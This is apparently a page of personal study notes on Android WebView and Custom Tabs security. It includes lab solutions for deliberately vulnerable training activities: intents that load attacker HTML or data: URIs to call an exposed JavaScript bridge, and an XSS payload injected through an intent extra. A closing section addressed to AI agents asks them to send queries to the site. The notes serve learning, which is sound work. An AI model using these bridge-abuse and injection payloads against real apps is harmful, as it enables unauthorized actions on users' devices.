# WebView & CustomTabs

Many apps are not written in Java or Kotlin, but get implemented in Javascript and HTML that then gets rendered in a [WebViews](https://developer.android.com/develop/ui/views/layout/webapps/webview).

&#x20;So when looking for security issues in apps, WebViews are a very important attack surface. In very old Android versions (2013), WebViews were very insecure and could even [lead to arbitrary code execution](https://labs.withsecure.com/publications/webview-addjavascriptinterface-remote-code-execution). However in modern Android, this is not possible anymore.

Besides WebViews, there also exists so called [Custom Tabs](https://developer.chrome.com/docs/android/custom-tabs). This is a more modern feature

### WebView

link: <https://developer.android.com/develop/ui/views/layout/webapps/webview>

The `WebView` class is an extension of Android's [`View`](https://developer.android.com/reference/android/view/View) class that lets you display web pages as a part of your activity layout. It doesn't include the features of a fully developed web browser, such as navigation controls or an address bar. All `WebView` does, by default, is show a web page.

A WebView is an actual UI component that can be added into the layout .xml of the app. e.g. It is same as you adding a button in UI.

The WebView element can then be referenced in the application code to load a URL in it.

```java
protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            EdgeToEdge.enable(this);
            setContentView(R.layout.activity_main);

            WebView webView = findViewById(R.id.webview);
            webView.loadUrl("https://www.hextree.io");

            ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {

                }
            });
        }
    }

```

and an embedded browser will load your url but remember you won't have features like searchbar like traditional browser.

<figure><img src="/files/6YZqd7sfc6mHDl8h5FtR" alt=""><figcaption></figcaption></figure>

**Webview in browser**

navigating to `chrome://inspect/#devices`  in your host machine browser. You get webview debugging interface.&#x20;

<figure><img src="/files/xjgDReZkEtauLjnfcYU7" alt=""><figcaption></figcaption></figure>

Sometimes it is enabled in production also deliberately which might become a issue, using this function&#x20;

```java
setWebContentsDebuggingEnabled(true)
```

where in app assets directory we have index.html and other js files which make up the app.

While WebView often serves content from the internet, it can also load local HTML and JavaScript files from within the app itself. This is useful for offline functionality or even when the app is entirely implemented in HTML and Javascript.

Android applications can include an `/assets/` folder in their project structure. This folder is bundled into the final APK and is accessible at runtime. And WebView has a built in feature to load these files via `file:///android_asset/` (or `file:///android_res/`):

```java
WebView webView = findViewById(R.id.webView);
webView.getSettings().setJavaScriptEnabled(true); // Enable JavaScript if needed
webView.loadUrl("file:///android_asset/index.html");
```

Note that `file:///android_asset/` is considered outdated and Android officially [recommends to use an AssetLoader](https://developer.android.com/develop/ui/views/layout/webapps/load-local-content) instead.

Because asset files are bundled in the APK publicly distributed in the Play Store, they are considered public. That's why WebViews can load them even when file access is generally not enabled. To be able to load other app internal files, the WebView [WebSettings](https://developer.android.com/reference/android/webkit/WebSettings) have to be changed:

```java
WebView webView = findViewById(R.id.webView);
webView.getSettings().setAllowFileAccess(true);
//webView.getSettings().setAllowContentAccess(true);
//webView.getSettings().setAllowFileAccessFromFileURLs(true);
//webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
```

Some settings like [`setAllowUniversalAccessFromFileURLs`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) are very dangerous, but might still be required by some apps. We will look deeper into those settings as well.

&#x20;

### JavaScriptInterface

WebViews in Android can allow JavaScript running in the WebView to [call native Java methods](https://developer.android.com/develop/ui/views/layout/webapps/webview#BindingJavaScript). This is especially useful if the app logic is primarily implemented in HTML/Javascript and wants to access native Android features.

If an attacker can control the document loaded into a WebView, these exposed Java methods could lead to security issues.

e.g.

```java
public class Flag38WebViewsActivity extends AppCompatActivity {
    public static String secret = UUID.randomUUID().toString();

    class JsObject {
        JsObject() {
        }

        @JavascriptInterface
        public void toastDemo() {
            Toast.makeText(Flag38WebViewsActivity.this.getApplicationContext(), "Called from WebView", 0).show();
        }

        @JavascriptInterface
        public String success(boolean z) {
            if (z) {
                Flag38WebViewsActivity.this.success();
                return "success(true)";
            }
            return "success(Boolean secret) requires `true` parameter";
        }
    }

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_web_view);
        String stringExtra = getIntent().getStringExtra("URL");
        if (stringExtra == null) {
            stringExtra = "file:///android_asset/flag38.html";
        }
        ((TextView) findViewById(R.id.txt_webview_header)).setText(getClass().getSimpleName());
        ((TextView) findViewById(R.id.txt_webview_subtitle)).setText(stringExtra);
        final WebView webView = (WebView) findViewById(R.id.main_webview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new JsObject(), "hextree");
        webView.loadUrl(stringExtra);
        findViewById(R.id.button_back).setOnClickListener(new View.OnClickListener() { // from class: io.hextree.attacksurface.webviews.Flag38WebViewsActivity$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view) {
                Flag38WebViewsActivity.this.m160x89ddf80a(view);
            }
        });
```

in this activity you can see onload a webview is loaded with URL  `file:///android_asset/flag38.html` whose content is

```html
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flag38 WebView Demo</title>
</head>
<body>
<h1>Flag38 WebView Demo</h1>
<button onclick="hextree.toastDemo()">Native Toast</button><br><br>
<button onclick="document.write(hextree.success(false))">success(false)</button>
</body>
</html>
```

Now in java code you should notice

```java
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new JsObject(), "hextree");
```

1. JS is enabled in webview.
2. Most important thing, in webview we are adding a javascript<->java bridge of class `JsObject` with name hextree
3. which allows js in webview to call methods of class `JsObject` with name hextree. As you have seen in html e.g. `hextree.success`.
4. Not every function from Jsobject class is exposed this way, only annotated with `@JavascriptInterface`are exposed to webview JS.

solution,

as you can see if an intent is provided with URL then that URL is loaded in webview. which means which can call success() function with folllowing html file.

```html
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flag38 WebView Demo</title>
</head>
<body>
<h1>Flag38 WebView Demo</h1>
<button onclick="hextree.toastDemo()">Native Toast</button><br><br>
<button onclick="document.write(hextree.success(true))">success(true)</button>

<script src="https://static.app/js/static.js" type="text/javascript"></script>
</body>
</html>
```

and poc app

```java
  ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    Intent intent = new Intent();
                    intent.putExtra("URL","https://url..."); //url of your html code
                    intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.webviews.Flag38WebViewsActivity"));
                    startActivity(intent);
                }
            });
```

THis URL: <https://oak.hackstree.io/android/webview/pwn.html> can become helpful in analyzing webview headers, function exposed etc. when loaded by webview in an app.

other way to solve using data URI

`data:text/html,<script>alert(1)</script>`

`data:text/html,<script>hextree.success(true)</script>`

example 2

```java
public class Flag39WebViewsActivity extends AppCompatActivity {
    public static String secret = UUID.randomUUID().toString();

    class JsObject {
        JsObject() {
        }

        @JavascriptInterface
        public void success() {
            Flag39WebViewsActivity.this.success();
        }
    }

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_web_view);
        final JSONObject jSONObject = new JSONObject();
        String stringExtra = getIntent().getStringExtra("NAME");
        ((TextView) findViewById(R.id.txt_webview_header)).setText(getClass().getSimpleName());
        ((TextView) findViewById(R.id.txt_webview_subtitle)).setText("file:///android_asset/flag39.html");
        final WebView webView = (WebView) findViewById(R.id.main_webview);
        webView.setWebViewClient(new WebViewClient() { // from class: io.hextree.attacksurface.webviews.Flag39WebViewsActivity.1
            @Override // android.webkit.WebViewClient
            public void onPageFinished(WebView webView2, String str) {
                super.onPageFinished(webView2, str);
                Log.i("Flag39", "init");
                webView.evaluateJavascript("initApp(" + jSONObject.toString() + ")", null);
            }
        });
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new JsObject(), "hextree");
        webView.loadUrl("file:///android_asset/flag39.html");
        if (stringExtra == null) {
            stringExtra = "Neo";
        }
        try {
            jSONObject.put(FlagDatabaseHelper.COLUMN_NAME, stringExtra);
            findViewById(R.id.button_back).setOnClickListener(new View.OnClickListener() { // from class: io.hextree.attacksurface.webviews.Flag39WebViewsActivity$$ExternalSyntheticLambda0
                @Override // android.view.View.OnClickListener
                public final void onClick(View view) {
                    Flag39WebViewsActivity.this.m161xda87d60b(view);
                }
            });
            findViewById(R.id.button_reload).setOnClickListener(new View.OnClickListener() { // from class: io.hextree.attacksurface.webviews.Flag39WebViewsActivity$$ExternalSyntheticLambda1
                @Override // android.view.View.OnClickListener
                public final void onClick(View view) {
                    webView.reload();
                }
            });
```

and html file

```html
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Flag39 WebView Demo</title>
</head>
<body>
<h1>Flag39 WebView Demo</h1>
<div id="hello_name">loading...</div>
<script>
function initApp(obj) {
    console.log(JSON.stringify(obj));
    window.hello_name.innerHTML = `Hello <b>${obj.name}</b>`;
}
</script>
</body>
</html>
```

in this user controlled data is used to set `window.hello_name.innerHTML`which can be dangerous.

solution

```java
((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    Intent intent = new Intent();
                    intent.putExtra("NAME","</br><h1>ff</h1><img src=x onerror=hextree.success()>");
                    intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.webviews.Flag39WebViewsActivity"));
                    startActivity(intent);
                }
            });
```

using html injection and xss we can call exposed fucntion success.

....

### Custom Tabs

[Custom Tabs](https://developer.chrome.com/docs/android/custom-tabs) are a different way to display web content within an app. Unlike WebViews, Custom Tabs are actually not a UI element. Instead, they rely on the browser installed on the device to provide the interface and functionality.

Read more about it here: <https://web.dev/articles/web-on-android#custom_tabs_as_a_solution_for_in-app_browsers>.

e.g. this opens hextree on button click

```
 homeButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                CustomTabsIntent customTabsIntent = new CustomTabsIntent.Builder()
                        .setToolbarColor(ContextCompat.getColor(MainActivity.this, R.color.colorPrimary))
                        .addDefaultShareMenuItem()
                        .build();

                customTabsIntent.launchUrl(MainActivity.this, Uri.parse("https://hextree.io"));
            }
        });
```

<figure><img src="/files/7oDTeRoAL4ZIXFyVLJzo" alt=""><figcaption></figcaption></figure>

#### webview vs customtab

* **WebView** is an actual embedded browser within your app. It is isolated from other apps, meaning a user logged into a website in their primary browser will not be logged in via the WebView.
* **Custom Tabs** simply interacts with the default browser on the device (e.g., Chrome). It shares session data, cookies, and accounts with the browser, meaning users are already logged into websites they’ve accessed in the browser.

> *“Custom Tabs is effectively a tab rendered by the user's browser”*

\
In terms of security, Custom Tabs do not have access to your app internal files or FileProviders and cannot change the Same Origin Policy behaviour.

Due to these benefits, Google generally recommends developers to use Custom Tabs: <https://support.google.com/faqs/answer/12284343?hl=en-GB>

See also:

* <https://web.dev/articles/web-on-android>
* <https://chromium.googlesource.com/chromium/src/+/refs/tags/122.0.6253.7/docs/security/custom-tabs-faq.md>

There is no JS-java function bridge in customtab unlike webview


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://newrouge.gitbook.io/roguebook1/group/android/webview-and-customtabs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
